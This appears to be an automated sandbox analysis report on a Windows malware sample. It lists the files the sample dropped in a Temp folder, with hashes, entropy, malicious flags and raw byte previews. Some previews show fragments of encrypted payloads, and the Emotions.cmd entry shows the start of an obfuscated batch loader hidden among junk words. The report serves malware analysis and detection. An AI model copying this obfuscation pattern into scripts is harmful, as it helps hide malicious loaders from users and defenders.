Preview:	.......M......6...].j......E..F.j..E.....j..E.[S........E.SPW......j........Y.....y.........F....._^..[..].y..u....@..3..U..y..u....E......J..H..J..H..J..H......M.h..I.....E.]...U..VW...6...j..G......~.....Y..t....a.....3..E..7_.F.^]...U...8SVW.}...]...... ..u.2../.....@..t..G..8......}..t.......3...P................E...~..w....6........v.Ou.}.j..3......3YYj.XP..E........H..p..M...O...%....=......9...=......"...=..........=......,............E.PW..@.I.f.M.3....C......wS...,.F..$...F..E.PW..(.I..........M.V.u.V.....P........W..$.I.........]....E............@.........E......E.PW..(.I..........e...........}.j.....Y..t.. ..`...X...3..M.U.....@..f.M......t.W.u..E.f.M.P.&..........f..f.E.E..E.M.E.P.E.........E..}.@.E.;.\|..J....E.PW..(.I.3.C....>....e......+....e...}.j..3...Y..t.. ..`...X...3..U.....@..f.E.E..E.E.E...P.p....E..G;.\|.......E.PW..(.I.3.C.........e...........}.j.....Y..t.. ..`...X...3..M.j....Xf.E.E.....E.E...P.....G;.\|..m.]...&....4....E.PW..(.I.3.

C:\Users\user\AppData\Local\Temp\Dental

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	203776
Entropy (8bit):	7.999016074472303
Encrypted:	true
SSDEEP:	6144:H6QNJ4nbgSiR+ZjmxwRd+gV3dBwc8f8Hno/MG:vJ4HiR+usdBwth/MG
MD5:	82A2EEC72B87B87BA9DD721BE71A6731
SHA1:	A36C87743A61C1496EE55AF68D0845961DBA1BE2
SHA-256:	5E9D5F9719BA700F9331886B257E5CE074DDF8B07BFD097183D990833AFB208D
SHA-512:	0F5E57AC362340EAFA7BB2A1A52C89537A2225A6902B0020ED96A4782B17EB82552AA8D636C973B0C53171DBB4C28AE5B743C03DC25C57B5EFD4A83BC80F1CF0
Malicious:	true
Preview:	...,.7b..[8{JHz././4...@. <[...2.6...l{.G......6Y2.b.<...V...UV...m..Q[.#?.U.\|..j'..x.l"T...P..Jb..Eq...)w..S[...W3..M......5.0^.......)..E......o.......U..h.aV......s.V......@&W=...Q...[...7.<.]...m...%W......k../.=.....)........4F...`..u.%P8bWnu..gTY..LJ$.<-..P...r..;...2.R..f....i..A.........r%.).].v[.9.u...UO....T~..$.....xC..O.>...<..wY;x~..I.{N.ya..\..S..)]S.0%...h.`g,..[-.h3E3.^<..1.Kp.<....sNq..M..6...)..D./d....(..q44....$SP3........S.Y.Cp.......m..A....Y...h.F....@..h.\|../d.(W.....N...~.!7..0..y..5E..&...!........U....0..Qv....eT.\|.(-.1 ...,..nTbN...M.x...=.%.q..{...}.A.[.F.....". ..6..m..(.@Ja.v....5f....l.S.,.2>....i.."..x..$..~.;.D@D.>ZW..F.?C.F5.......W.. .[..../.(..XM5.r.`=NJ..Y.D...I.0.Pd]o.k.2.F...Y..G/.'.4..(.8. .5.k?1U..T....?Tr......'..Ii.R..T.5...z...T.....3.aF.o.i..PB... .+.]..xUd....T.8....^....K2..4..{...r..%..;=.+lV.)d.{.Xm.i.d...rc.;g..q..=.VI....BP.&zX...g.K..~.{....v$.qca.wPSH-.J......3.cj..i...0<......

C:\Users\user\AppData\Local\Temp\Double

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	6.513834863558758
Encrypted:	false
SSDEEP:	768:c4ypQ9Fsqib9futLZzWaIxyKw7nxZL96Yk4iARefFilP4Bwh1QwTMvcVPDl:9yy9FskzWaIxOv/pAfkF/bIQJ
MD5:	0653D5B9F678E342AC539C35C588F8F8
SHA1:	164512131FF6E3985D44A01804A1FDDDCAF6BFD5
SHA-256:	D49CEB2DB490B316AA89C83CB694758604EFC348445B3F61ACDD5413780466CD
SHA-512:	28B34858973AC560B1FFFC8A0B928A25CD11CF19FE755A3F28F68EDD88C3FEF3C994AF6D5E2DC093D5EDDA1D2669F028086B9B4E94D0502946D8AC2F82EA8CB9
Malicious:	false
Preview:	...i..Q.F9.....I...i..R..j.Q..T.I...i...~8....i..WQ....I..u......i...u...gL...d......hL...i...u...gL..d......hL...j....hL..u........(..R.....hL...j..j.j.j.PWj...D.I..E...u..M.....j..M..E.Qj.PW....I....E..E.jP3.PPj.WP..D.I..E...u..M.j.P.E.P...PW....I..E..M..=<.I...t(Qj.h.....u.....I..~ .t..v ..E..F .M..E...t(Pj.h.....u.....I..~$.t..v$..E..F$.M..E..}.....Ui......#..Ji..j.j..u...X.I..ti....)..............Q.........j..j.^;......................i........j..D$........Ph..............I..D$...........b....Ct......H@..t........f;D$.t..PQ....I.9............Ct...................<.............:.u........t.V...h......:.v.........Ct............ug.......f..x[.......f..xOf;.~JH.D$8....f.......Kt.............D$L.D$8P............P.D$.h=.............I.F;.......1...........L$..t$.;.u.;.....t....D$..............;.~.IQV..........................ah........;.\|,...Ct.......t........u.W...g..O;.}.\|$..L$..T$.3................................7..<.I...@....g...w@....I...g.............g..9E....g..

C:\Users\user\AppData\Local\Temp\Emotions

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	ASCII text, with very long lines (1341), with CRLF line terminators
Category:	dropped
Size (bytes):	17805
Entropy (8bit):	5.067129531655874
Encrypted:	false
SSDEEP:	384:c2HgCk/+61O1xLW6KCDR/1eKCRagtGbqadxfpYTk96afqirXNq:rd1xLW6L/IK1gqqad9p3Uafqyq
MD5:	E1B45CCFF8C4F9B3F37B9BE092E5FC81
SHA1:	69E30F418DAD45C89C119DB58E023F90952B3C12
SHA-256:	FB199496184C801EEA454E0534DEC3CE932573892155FD8DD79EFBD4AA734B4B
SHA-512:	C507BD87B190AE0CFCA5A9FBF6C7AEC464165F67DF2BEC5518D8EDF7F26A0014A4E642042EA7A2685DD4D22D5821BD749E8F7A817EF81CBF61C340D982323D2B
Malicious:	false
Preview:	Set Guide= ..bnBundle Device ..dFAiLithuania Movers Convergence Finances ..NpYNMustang Dice Luxembourg Tribe Saudi ..GzSelections Reader Merchants Worcester ..MzjMAf Australia Sheet Employees Communist Airport ..NXRDesigners Humans Schools Lazy Stronger ..HlHey Preserve Deaf Batman Film ..YEdFLlc Hugo Glory Remaining Injuries ..Set Salvador=a..UpCMany Surface Math Elegant Roster Jon Aj ..MwgExtra Spare ..XnrZFilms Espn Algorithm Silence ..eeDiffer ..fgActivists Pressed Costa Segment Headlines Confidential Brings Enabled ..PmCult Hell ..eqTComputed Boats Fashion Dave Spy Recruiting Designed Reality ..XgvYellow Egypt Exception Cell Licensing Choir Attorneys ..UigBPhillips Slow Oriental Hughes Aim ..cnRomania ..Set Point=i..ronFixes Sec Flexible Reputation Chuck Two Biology ..CRQEnhancing Vision Assistance Publicly Ending Babes Holocaust Blade Zinc ..wqgUPartners Powder Centre Bill Thumbs ..lPmSeal Laser ..BXmcLafayette Sculpture Shoot Occupational Reproductive Automotive ..MzJvFavors Jew

C:\Users\user\AppData\Local\Temp\Emotions.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1341), with CRLF line terminators
Category:	dropped
Size (bytes):	17805
Entropy (8bit):	5.067129531655874
Encrypted:	false
SSDEEP:	384:c2HgCk/+61O1xLW6KCDR/1eKCRagtGbqadxfpYTk96afqirXNq:rd1xLW6L/IK1gqqad9p3Uafqyq
MD5:	E1B45CCFF8C4F9B3F37B9BE092E5FC81
SHA1:	69E30F418DAD45C89C119DB58E023F90952B3C12
SHA-256:	FB199496184C801EEA454E0534DEC3CE932573892155FD8DD79EFBD4AA734B4B
SHA-512:	C507BD87B190AE0CFCA5A9FBF6C7AEC464165F67DF2BEC5518D8EDF7F26A0014A4E642042EA7A2685DD4D22D5821BD749E8F7A817EF81CBF61C340D982323D2B
Malicious:	false
Preview:	Set Guide= ..bnBundle Device ..dFAiLithuania Movers Convergence Finances ..NpYNMustang Dice Luxembourg Tribe Saudi ..GzSelections Reader Merchants Worcester ..MzjMAf Australia Sheet Employees Communist Airport ..NXRDesigners Humans Schools Lazy Stronger ..HlHey Preserve Deaf Batman Film ..YEdFLlc Hugo Glory Remaining Injuries ..Set Salvador=a..UpCMany Surface Math Elegant Roster Jon Aj ..MwgExtra Spare ..XnrZFilms Espn Algorithm Silence ..eeDiffer ..fgActivists Pressed Costa Segment Headlines Confidential Brings Enabled ..PmCult Hell ..eqTComputed Boats Fashion Dave Spy Recruiting Designed Reality ..XgvYellow Egypt Exception Cell Licensing Choir Attorneys ..UigBPhillips Slow Oriental Hughes Aim ..cnRomania ..Set Point=i..ronFixes Sec Flexible Reputation Chuck Two Biology ..CRQEnhancing Vision Assistance Publicly Ending Babes Holocaust Blade Zinc ..wqgUPartners Powder Centre Bill Thumbs ..lPmSeal Laser ..BXmcLafayette Sculpture Shoot Occupational Reproductive Automotive ..MzJvFavors Jew

C:\Users\user\AppData\Local\Temp\Falls

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	198656
Entropy (8bit):	7.999173317848576
Encrypted:	true
SSDEEP:	6144:suCQ3s8VJwgcSoNfAXamj3rIKbawOjtFkmwTJ:s2s8V+lN03rI3Gx1
MD5:	84C31C7B0C8D4DF12F022A32DED12AA2
SHA1:	DC5CA7CBAB70171827B0E979CAB55388E5BF6442
SHA-256:	86EA718EECEA2F320F22AA87FE6F11D6DD582D70506F8D53F711324C38227DDB
SHA-512:	B82B3213BBB01EE4587CBB157B2A6974177560789710E6E59FCB652990C5C169D2FE0AF3053D971B6CBD0BB3812E64FFA1CF697F0556D5A4D6E69998ED0A902B
Malicious:	true
Preview:	.Z.Ai....H.b..W.BS.........Q h...>{.a[..J._ZZ{..W..-..(...S6.........'B.......,.s.L...'D.5.`...3.o.U.hl....\|A0.<N\...@..R.>..3.b$....z.........[S.l....%.T.4.D...0.q{.5....o..'.vc.^7....`.f.....k...5A....2..)......Q....$..#;_.`.......8!.0.u\|..99....\T....2.r=.i...$7...=.....b,...fSe..U.;F...~_Qg.<.....iT.......A....JC...`....eH.@]bh..Ms......=.x....Y...H".H......N..(..;&.PU...v...d<..Q....z`1oN(f(.&8..\.....=.y...hi;U._n..n.>.G..xa...(%.uY.(.f.....v..T.K..F&.6-.z{....n...k..0..N..ZtG .=.....}.$~...)...{./...u{.....a..._..h;p.4............f(r....;....He...r.&Q[.9........4h.,..;....i../m.O&.J.t.G..j......y....EC...:......>\....8.O^..t....R.....g..}.1.../.g.H...V.....G...bH.\....of...2w....M\|!.3....}..z..DQNq@..7.d~)=..DCb=.v.I....]K+.r....Th$...._.......}..!.GE'...o.NcNXcV7x...~.....g.+.I.....:.a....?..~M..?...u.iY.W..$.......g..-.E5.......-..W.i..z}%\|@..`wG.....A...$...zL..p.X5h-5.q..p`.U.L){......%...8...l..^F[....k.nZ}.X...n.n...'.!\

C:\Users\user\AppData\Local\Temp\Favourite

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	6.704844761239483
Encrypted:	false
SSDEEP:	1536:PhrNCsGJh5yA05E22VelTXzSj9xb7XDh1RlyxcZqvinN8p:ZlAYrlTGj91DhrlyU8p
MD5:	E9616A6147473B1C11D5997AF70AA41D
SHA1:	26D9932473118C39D788C20DBCD4EDFFCB2E195D
SHA-256:	3AAD09EB2199702AC0845A37A25AEAE969CA90438C97D0556AAD8E1C2489093D
SHA-512:	C985B09EB8D0D0E9404E80F67A670409AE8F4B92F36F6A32F08A8189FC9E34FE7EA3A6AB2C53E47F6054CBACA330324C6A3951522CE98E768F055D13FEC0D3E8
Malicious:	false
Preview:	.........$...FD.......$....&..;~\|...&...~.....&...~.....%....F4;....%...Fh.............s.....%......o....U.;U....$...N\|;........E...uT.V...t.j..F.PQ..............S$...,.V....+.;.w f..f;F4u......3$..f.G.f;F6..%$...E.U....................$...D..............;~\|.......~.........~..........F4;........Fh........................w4t......t....A.......#...2;~\|..]...f.?...S.......K.........t............g#...~l...]#...%.........w<..J#........w...<#.......3#.... ..*#................#........._ ..w/...#..... ........... ....."..../ .....".........0....."............w<............w...}........t..... ..."...f............"...U....._ ..w/..G...... ....n"..... ..../...../ ....V"..........0....E".............w...2"................ ".........( ..........) .....".............w........A.......!..................!...................FD.......!...}.........!...FD.......!...b......wZ.FD.......!...K........r!...FD......e!...0......w(.FD......N!............@!...FD......3!...E.B@.U.P.u....V.u..u..y........

C:\Users\user\AppData\Local\Temp\Fight

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	29696
Entropy (8bit):	6.429381666176089
Encrypted:	false
SSDEEP:	768:JFR97T98+sDkXLAlMoLVNIo8DJWxWWbP75qcD:JFTR7bAlHL/4aj5VD
MD5:	35D5F58D663AF5854AF8B15634FADFCF
SHA1:	0D918B8ECA29301C4CD8BE1764F96BF779D6622D
SHA-256:	B87A61A0D630FA8EE70C61BA1E4F38A8ED4EE4B592BC900E826EB5CDB9CA64DD
SHA-512:	0184DD2AEE63324BEE5FF0FBAA4123382B6DE48F88E3E8A7FC63E59066A3D4C4650E68400994D046DB1FD1F691F51212616E7DF4AC51A704F15050B174A6490E
Malicious:	true
Preview:	_....F\|.U.+...;...S...........f..Of.........].U.f;...................S..U....E.;F........N..U....E.D...E.F.+E......E.......E.......E.E.+Fx.......I.........K....E..M.@P.u....V.u....@dJ..u...C................m..... .............6....._^[..]._^3.[..].O.........i...........,dJ.... dJ..E..U.}..u..E.......;....}.]..............t.......M..........}.;U........................E...@..P.u.V.u..u..........}.........}.................d$..U.;U...2....N\|;...~....}..u(.V.....-....u.F.PQ..................U.........%....=......1....E.....F.................E.B@.U.P.u....V.u..u.............~....^.....b............\.A..$.T.A..B.....]..........U..E........ dJ..M....,dJ..E..M..................E........$.....E.......M.;F\|...........%....=.....................................M..........}.........E...}.@P.u...V.u..u.........................$........C.f.<Cw..Ct.]..I....E.....M.@P.u...V.u..u.............>....-i.........M..E......E.E.@P.u....V.u....@dJ..u...C.......... ............

C:\Users\user\AppData\Local\Temp\Fighting

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	modified
Size (bytes):	147456
Entropy (8bit):	7.998923137857825
Encrypted:	true
SSDEEP:	3072:HlYKLVe9n25kVLIV1GWWKnqX+xhURTwcXCIDv4D7vZsSx4EDpbdE6:HlYgUVIV1GhoEoKFwcSIDve7RsSCEDpB
MD5:	6876D6C44BAD4FBFC21325B46B63484C
SHA1:	9A37D6D6D4E7178A6FD840DB172184BDFF67B15F
SHA-256:	3A97464DF93B328E7F78CD32C3734B67B41F3808B8C645846EEFC30CCCADDB7E
SHA-512:	10D4634A6226320C85A5519C798258B6F0A27646817309549C624FFD44F82BE04413F8BC87E6935272852FA8EA695FE92668B59A7E223259525259A0393D4E51
Malicious:	true
Preview:	..F... ..$z2!...sU.![..Z...0.@R...}<..1...1..Z\|.fI.%...-.>...+.."N.d.=.(\.8\E.@..\R"+S..g!.g.../.l4...],..e_...Vb...B.7T.e9@%.E....w+?0$v#D..$...1..#...h4P.x+....c..C.MI.....>.........E]..b...S.......M...M..h]......"..6:....7=.Kq..E/w<..f9 GS..[/.uC.e....N&..A.4.:......r....a..-.wvv....s.._.....k..v.].7Z.@Z.S.:.I+..f4K......(.e=.7.....5..\|O@.^....z)...A.pS..-....x..Ne.1...w...1.'N...5.&....pf^3[.....\.c..o.....D..(..P..o.4..o...-q..~{...V0.{.xW..e..M..a......yrf.....w.r......i.......9X.3.E...g<y..%..S.`....h...Y_.....3...t1...\.cf.O..J.`...y..#.Q..wJ.~`.40a.D{Q...=Q..f%......&...._.k...?.a?.W....J..g..vDx..l......%.R.C..... .N1.{..c.G....].c..<..[.+_..Nib&....e~1.\~.RN......%.......t.y....N.. . .....H.-t?.(MgnW9.A......S......g...L........~Rq....6..]...s. .iB.?.`%......#?...5.Ah@.$...}..m.r3...Gm.f2;f..1...._.6)....d. ..~..em.;..r.....o....U..5.R..M."u...I....B5d..u........\."..s..... ....w...7....z..'.S+...p;A9.&..Bt...9U..v.l]Wo.a.X.S

C:\Users\user\AppData\Local\Temp\Genre

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	6.193659885817098
Encrypted:	false
SSDEEP:	96:Y63b/WPJonc1yGu8B3E8CoCMS2d/Xcyetj3sTSo59X5OqsW:N3LWMch9B0ze/syedEXAqH
MD5:	D41AD902B6AEEABC9DF8D5EB457D56FF
SHA1:	E65E181C4957CC6536AF3918CFAB9C4790DD9DB9
SHA-256:	DA4B25CB663E611C0F10233467FD9BF43A528CACE938DF16C04D4DDECB19F916
SHA-512:	08596C48EF2253D0A1E81A2EAD4D575CAA6B1A76570BA733FB88AEF0768BC9F6120CB25047C68CCA431A05457C78FE8EF58FF75BE49EF28BB54392687E1D2A9B
Malicious:	false
Preview:	^3.[..]...U..SV.u.WV....}..3..CS.\|......Um...F..p....8\........j..v..5.......Cm.._^3.[]...U..Q...SVW.13.N.M.x@..>.+....S..o...0.u..`E..YY..x.~..{..M.;.~.;....._^[..]....s.......U..VW.....O..@........u........F.P.`...F.P...........F(.............F,.......v0.S....F4..,..........F8P...........FH..<....FL..@....FP..H...t..FT........Q........<..._^]...U...8VWjX.......Y.......................N.........P.._........P.N..(.........N8.F(.......F,.........F0.......F4..,...P..)....<....M.FH..@....FL..H....FP.......FT."...P...O..@....q....M...Z...M...Z.._..^..].3..J...U..QS3.V.u....P.H....<....t.I...dL..@...f9X.u..8!t...t.^3.[Y].......U...hSVW.M.....3..E..I..E.M..E....E.E.E.E..}...H.E..}....]..u.jHY.S....E..........@.f;........E.@....E..f.....j.......f.x.3...j...0.M..(...E.3...t".u.....U..Q....u.G;.r.u..]..E.;....j...E.P.M..xX.......S....f.x.AuH.}..uB.A.3.........@.f..G..G...jH[f;.]...0...f;E.......f;E.......G...}...........E..@.E.....@.f;E.......AjH_.....f9x..}..

C:\Users\user\AppData\Local\Temp\Hay

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	6.549624693115074
Encrypted:	false
SSDEEP:	1536:TkdIlDbKffUCJ5h3FsoejQ1/9klkp5VLGW:TkuVKfPf3qoT1/Qkp5IW
MD5:	A353180038BC0C56585D8B18BCD2D039
SHA1:	0DCDF81CB067BACFF96E58423198B9D53A68AC4D
SHA-256:	3BC8119C6931103ABD71E920A57AB160331201005BD379236240C499E6811D1E
SHA-512:	E036630A140587DF95FCD97A654D3C4E68A6316C5457DD1342170409AC41DFC26E6EB9614A2E3192669E6BF9A50A1C203BE25A53A3054162D1D0BB64CB1D84A3
Malicious:	false
Preview:	L$<.D$..g.....D$...................;........D$8P.L$...&..h..K..L$...'...D$..L$x+.N@VP.D$@P.>#...D$xP.L$..&.....K..L$.V.'..Vj..?T..YY....S...V.L$..'..3.F9t$.v&V.L$..$..f.8\|u.V.L$..$..3.f..F;t$.r.}..r..G..H.....D$$h.....k...YP.L$..Q...}..r5.G..p....n[...F..t$..0V.D=..YY....j.j..H....,}........t$.3.f..jX..$....j.P.5=...D$0....}....$.....D$...$.....D$4..$.....D$(..$..........$....X....$..........$.....$......I........G..H..]......u.G..H..]....xf.G..H..]....t.....G..H..~]....t.... ...G..H..i]....t........G..H..T]....t........G..H..?]....t........}....$......$....P..........I...........$.................':..Y..$.....L$\....&....$.......3..2P..:...L$\..$..K....%....$.....L$\.%....$.........p..$....f9.u..M..D$XP.[...L$X..)...,....I...t...$.....M...[....3.P..j..H....={...D$...u.P....Y.t$.....Y.D$0..u.P....Y.t$,....Y.L$8.(...L$..(...L$h.(...L$H.(...L$x.\|(.._^3.[..]...U...\...SVW.=..I.......P.u..M.2.......tq......h..I.P..B..YY..tH......h..K.P..B..YY..t1......P....I...

C:\Users\user\AppData\Local\Temp\Instance

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	6.665252092241425
Encrypted:	false
SSDEEP:	768:5IDJ0vLyktlgwYtfKUGabl8UvrcyzJsDXtk:5sJitgXKUvl8UTcyzJWu
MD5:	59391B69D439FC7599CCB7D333193250
SHA1:	497BE4625681164C552963A2F02CDF18CF30EDC0
SHA-256:	DB29B88D44504EA00B87EE4F177BB7837B17022AA82805F72FFAB6A9F4929717
SHA-512:	E386B1A96734534A949988574F8BC2D957529E52EF61BD938142E9663C97DFC0A5CF22FF27B817BAC75A386E360A7CEDF5CCC877CD1BFCF006A25F22AF634619
Malicious:	false
Preview:	t....N@..t.Q....f@..N(.FL......G..V.:..Y_..^...U..E...$P..P.I.]...U.........SVW....$.....\|$\.G(..$.....G,..$.....G0..$.....G4..$.......E.P.B...E..L$`..$.....@..D$...D...O<.D$`P..}.....L$`.t$<.%G..3........8^ ..g....O<.F..\$D.......v...Y...T$.......D$...j..L$ ...D$d..I..\$h.\$l.\$p^.\$(.\$0.D$4.....D$x.,I..\$\|..$......$.....D$L..I..D$ .D$P.\$T.\$X.D$tG....D$@H....D$H@....D$<;H.\|.;........\$.;H........L$..A..D$$...f9X.uO.I..L$..D..f.x.3t...D$......;...(....L$.....8$u..D$.....8........D$$F...f9X.t..D$$F...f.x.Au3.\|$$..F.....@.f;D$tu.A..f;D$@u.Ix...f;D$Hu..u.\|$\9T$D}..E..L$.........L$(P.g......L$(.v...\$(.D$4.....D$.P.L$\|....D$(P.L$d.....L$D.l$..A.T$.F.L$D......p..a...D$<j.^.D$......x....B....D$d.D$ .L$..\$..I..L$.......8$t..8.u.......D$.F...f9X.t.3..........G.\$......@.f;D$tu.A.~f;D$@ulIyt.D$Dj..\|$(.\|$`[9D$.~h.O<.F..D$..D$$..P.D$,P.D$ P.t$..{...........D$..L$L.@.....0.Kt...D$.j......P.D$0P.8f;D$Hu...t.G....h....D$..L$L....0..t...D$.j......P.D$(.0.D$..@.....0..a...D$$.T$

C:\Users\user\AppData\Local\Temp\Joke

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	7.998834022130344
Encrypted:	true
SSDEEP:	3072:ID7ENq/W4iLe+KHHdF4aUDTTbxD26RIp5yYY8a2/Fvn9PuiojJe:IDkq/W4iLcHHUaUDTvB22i5yY82LPt/
MD5:	39B3BEE454F0BF8C20FA9D852BF08493
SHA1:	811D50772A534D58584DC59E186CD234FF7CEEAF
SHA-256:	895AF83CCDD17BBF71E3491C2E1580DA75735A69698A586762552066C4D5BE4D
SHA-512:	78AC7BB6EF711D04BBDB4E60EBA41F0F4655BA13DD8720A354853DD66D4F12A6FEC32093A491D0380C2279C4ACFFF3A482F8961F8F0DBC201C630B9F11699AB9
Malicious:	true
Preview:	.L....?..R3...^f..g+1.....\p..tFN?.{..Bx...Btz......,.L..s..~...T:R?}F.T9..#..i....ph.-N..C......3.I..$J...A. 6.%.......H..8n.D...y.u...~..4....m.....U.."1..Xg[.sQ<..7.l..-J!..X3'..o.]...D....v.]......\.T}.n~...rq.Sy...m.}D.I`.<.'......?.e.......V..........y@.P...@.%..LQV...Q;4.....5....jX/V.c.....zh...r.J.L=~Q)a..P.h`....yXp`."Tsl...=..k.c..!.Y1.....575.t.R.i....(......vV..7....a...^$2.>.../.z...y........B\.......q.1pV^.R:_KO4.Ib.."......n-tv.A..E......m{Q.#.K.%)...n0T.J..G..W.Y..g.T.V(...b..]8..G.....u.UZ...kA.......%......62e...7C...+...'.Sy....5-\.n.y. ...?......6GN. P....o...2M.Z.`em.........{n..7V.....q.5..@\`.WZ.',I@.W..*.......gV..y.....^a. .....o.?x.b..r.o..G.K. .U!..8."jR,...+..S.8....!.....[...].#.......+.)./&.......C.{.,.3..h...g._Y.N.K.Y&.+..y..k...h....r.>n..c....B.5g....m\Ff.O.=Z......u<.....n....,Q...S...6..a...[..Fb.V.HD...\x&..qt""X#....>.......x...,.._=K..R.96..B:.W.KZdu}YN>.6.6_....g.[^.B...U...-..;..k.N..!b...F9....$.L

C:\Users\user\AppData\Local\Temp\June

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.9982963129133156
Encrypted:	true
SSDEEP:	1536:sen7o747R/unr+gsSac1Sr9lVKz3i1Pq3wkpR45Vv58BpYviyP5TlxqkuQ37V5Ek:P7c4V/O+g0c1mv6y1Pq3rb4fiBGjBukh
MD5:	77B0DEDD52B512CEA8C5CFC3E03125C0
SHA1:	E73DF32202E72E667994BA0E16D730F452B446D2
SHA-256:	598AF1825F5038A77F75014D31A737C61A3577B8AA7C2CE0AD26487C504A3D75
SHA-512:	0FE49732697F300A8CA84517BBC2D7C043263111F26A392880EAF8114CBBE33F8045B5297943E89577CB65C7609D4BE5A0BEA318C049678F7E0E3F3EE598261A
Malicious:	true
Preview:	.D.....:...]...3#:.E....5'd.j`............pbH........a..J..7...9.B....\.Z....W#..n.)Hz5\.ZG..r.`...M....&.....S."]..s.I.1;....`?..Y%.......]I...Z..F.Z%...IB #.a.F<.m.Q...#.2.T.0m..,......F.......r...-........~....k../9.. .F .x.......~..{....^...Q{.G.D.M.$.......5qj...L.k.BW.....?..s...xC..6..P..c.7...UC..<\..)@(Q.5.n\,.i+.....7.H.._...@.lZ..Q..y.-...w..x..+..\|..1.J\.%6....E..._./.W,..2T.........!.......{wt.+......s.....4...F.bU...k..=2N.\...&.zJ@4.l...y.....xR.^J......f.&..W..8..Ka...[c.....gu.....p..W....#u..e...}...:u.@...x(r....k...7.....@...3.E.^D...&g.!.%.......9.See.../S.b...PXRO.XK.G.m.p(..W.e....6.n@I...W.j;...!l'....A....8..+v......7{_.Y.'V..\|...6.B.<...7J.vX9n..r^.S.q..u....g...."r.{.,cMtY...".).\|..~).@...-.....3-~.....N..@G..Q.BS.}...U.....K.5.].,.o..9,..%.3..m..t.t...\|=.nR_@A\..!@...\|.K.r.flD.......F...5S.8..\|ml....H.p.6.<.5........\...L.h......Z...(.7...&YDKqs..T.V....[..u.].w'..@.\..gV...9...(.....Q.8p>.\..4e.S.....=..'...

C:\Users\user\AppData\Local\Temp\Kde

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.166072462000539
Encrypted:	false
SSDEEP:	384:5kXDylnffltltZZzz11ppz9KvLoXM4INduLbbOxiVnoXM4INduLbbOxidDQxq:5dK8M4INduPbOUGM4INduPbOU+q
MD5:	567BA9CE87CE234A38F42A10967EB55E
SHA1:	8730552D2CB7357B49279B25B34D4EBBF8834184
SHA-256:	DFB3AEB55AF835CBEA30F3595E2845236B45305F73C7CE06A9B8E9E53329EC45
SHA-512:	BC7579FD1827127791F7FBDA3C71E46638D58D2F4E6EC0F9B20B64598EB7363CA9632289364FB3D6E56DE2670A440E1E1550638C61149884D30AFACB1B82414A
Malicious:	false
Preview:	.cC<-.a`.N..y.....n<.<........z..v<'6.....(...<.,.v..........<.O.V+4.......5.<.'.6Go...T...c.<)TH.....5.d+.2.<H!..o........<.U:.~$....s...<$"U.8b..qU..M..<.;.f.....G..+.<..e<......o . .<s_..u......."a.<.gBV._.....F.D.<...s....Ul...e<bN.6.....g.....<..L..%.........<.D..h....../..<.*B...D_.Y..{<6w......<(...`.<...77...b. ..<ON..}..'.+..q<.........X4m.<d.]{f.......\|'.<\%>..U...Zsn.i.<..yUk....3.w..<..Z.......-.f$.<..O..3.........<F^..v....._...t<..K........0.ns<.R......Y....<K.W..g..h..l,kg<i... ......6.p.<{..J-.....=...t<.....X......PZ.<.2.......J.s..<^.{3.....:`..t<.?...P..&I..'o.<........ .A..<'Za.......1.d.<@En[vP....M;.w<..............?.........9..B..@...2b....................................0<..0<.dW..dW................................@.......................................B.......B.................8..B..?0g.W..=.......................................?.......?......................0C......0C................................U....I.?.. ....u}.M.U..UUU

C:\Users\user\AppData\Local\Temp\Lcd

Download File

Process:	C:\Users\user\Desktop\QqHWdVqNBs.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	6.604564417541617
Encrypted:	false
SSDEEP:	384:hPti51O51Yd5XMSArl8OezLN1ENX6QGuYsUhLgdcgT2k9B:Rtw1E1Yd5dArqsfGuYJhLgBF9B
MD5:	8CDD220B6EDD5261639FF15FB19FF044
SHA1:	A76846914B9AF25DA85DFD57A09C0C18406B5EF5
SHA-256:	95E71E48E27559C30A9DD0C333A69C22F8C13BF512A459BDC7A44D045F30C5DF
SHA-512:	16799000C537303EB7F6F99FB2F649680C4792810AA18FA6E3C0C9B450B2457B7754D5C187D65F08AC19426CBA3F6D4F66E9D2ECF03804BBB890A6A9E41F929B
Malicious:	false
Preview:	YY_^..].....=.QL.............\$..D$.%....=....u..<$f..$f...f....d$.uZ......=.QL..t2.....\$..D$.%....=....u..<$f..$f...f....d$.u............$.T$..D$..........T$......P..<$f.<$..t..D..........T$..............Y.....................L$.....S............u....=.IL....y.......K..........=.IL....\.......K.......N...Z.T$......D$..u.A.3..........D$..u.........3...3.%.....D$.u.T$.....D$...%..........=....u..T$.u...u...t..Q.....$.\$...q.........Y.a.....t..............B....D$.%.....D$.........D$.%.....D$.t=.f....l$.....D$.....t..-..I...t.................Q......J........A.........................-..I.....................u.....K............u.......U..QQ.E.P..t.I..M..E......j.h.....!Nb.PQ.X......\|...=.o@.v......M...t....Q...].U..j@.u..u.........].j.h..K..6..3.M.3..}........u..8.........';..3.....3..]........t.3.f9......t..3......u...u..e8..........3..E.f9.u 